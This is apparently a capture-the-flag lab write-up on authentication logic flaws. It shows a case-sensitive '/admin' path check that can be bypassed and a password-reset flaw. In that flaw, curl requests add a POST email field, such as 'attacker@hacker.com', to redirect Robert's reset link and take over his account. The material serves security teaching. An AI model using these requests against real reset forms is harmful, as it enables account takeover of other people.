---
description: >-
  Sometimes authentication processes contain logic flaws. A logic flaw is when
  the typical logical path of an application is either bypassed, circumvented or
  manipulated by a hacker.
---

# Logic Flaw

![](https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FZNLNdvQiBeHJhrU7FRa3%2Fimage.png?alt=media\&token=89f582f5-af04-4ae8-b277-664f9b2664ce)

**Logic Flaw Example**\



The below mock code example checks to see whether the start of the path the client is visiting begins with /admin and if so, then further checks are made to see whether the client is, in fact, an admin. If the page doesn't begin with /admin, the page is shown to the client.

```php
if( url.substr(0,6) === '/admin') {
    # Code to check user is an admin
} else {
    # View Page
}
```

Because the above PHP code example uses three equals signs (===), it's looking for an exact match on the string, including the same letter casing. The code presents a logic flaw because an unauthenticated user requesting **/adMin** will not have their privileges checked and have the page displayed to them, totally bypassing the authentication checks.

**Logic Flaw Practical**\



I'm going to examine the **Reset Password** function of the Acme IT Support website ([http://10.10.13.84/customers/reset](http://10.10.13.84/customers/reset)). We see a form asking for the email address associated with the account on which we wish to perform the password reset. If an invalid email is entered, i'll receive the error message "**Account not found from supplied email address**".\


For demonstration purposes, I'll use the email address robert@acmeitsupport.thm which is accepted. We're then presented with the next stage of the form, which asks for the username associated with this login email address. If I enter robert as the username and press the Check Username button, i'll be presented with a confirmation message that a password reset email will be sent to robert@acmeitsupport.thm.

![](https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FQVE76mzygamDvcQSyHVN%2Fimage.png?alt=media\&token=8ff50acc-0469-4b16-bf11-c6a1d1b7a0c2)



In the second step of the reset email process, the username is submitted in a POST field to the web server, and the email address is sent in the query string request as a GET field.\


i'll illustrate this by using the curl tool to manually make the request to the webserver.

```
curl 'http://10.10.13.84/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'
```

![](https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FLqwFrG3WILaAPOU4qeKR%2FCurl%20request%201.PNG?alt=media\&token=f2062aa3-2eae-414d-bcaf-0f9eebc75c09)

We use the `-H` flag to add an additional header to the request. In this instance, we are setting the `Content-Type` to `application/x-www-form-urlencoded`, which lets the web server know we are sending form data so it properly understands our request.

In the application, the user account is retrieved using the query string, but later on, in the application logic, the password reset email is sent using the data found in the PHP variable `$_REQUEST`.

The PHP `$_REQUEST` variable is an array that contains data received from the query string and POST data. If the same key name is used for both the query string and POST data, the application logic for this variable favours POST data fields rather than the query string, so if we add another parameter to the POST form, we can control where the password reset email gets delivered.

```
user@tryhackme$ curl 'http://10.10.13.84/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'
```

\


![](https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FN1udfRoAOHEx4fn4jBiH%2Fimage.png?alt=media\&token=e7728051-92d7-4912-9a07-e26023629c88)

For the next step, i'll need to create an account on the Acme IT support customer section, doing so gives you a unique email address that can be used to create support tickets. The email address is in the format of `{username}`**@customer.acmeitsupport.thm**\


Now rerunning **Curl Request 2** but with my own @acmeitsupport.thm in the email field i'll have a ticket created on my account which contains a link to log me in as Robert. Using Robert's account, I can view their support tickets and reveal a flag.

![](https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2FJ8SIpGwNeX3TuBqKcPlJ%2FCurl%20request%202.PNG?alt=media\&token=7de5f4e2-dc75-4a8e-a294-a4a5aeb05454)

As you can see i've changed the email to **john@customer.acmeitsupport.thm** and i've started to receive the support tickets for robert.

![](https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2Ff1feMZD0ZLrIheUUhGwc%2Fsupport%20ticket%201.PNG?alt=media\&token=730bc6da-e707-4c00-872b-e59538fabd2c)

![](https://2022164620-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtzurpgroDJSMn9AFVmQP%2Fuploads%2Fn8kpwRGFke6kuZDn8QhZ%2Fsupport%20ticket%202.PNG?alt=media\&token=e70b9db4-64f0-4389-b533-5bbdeddf564a)

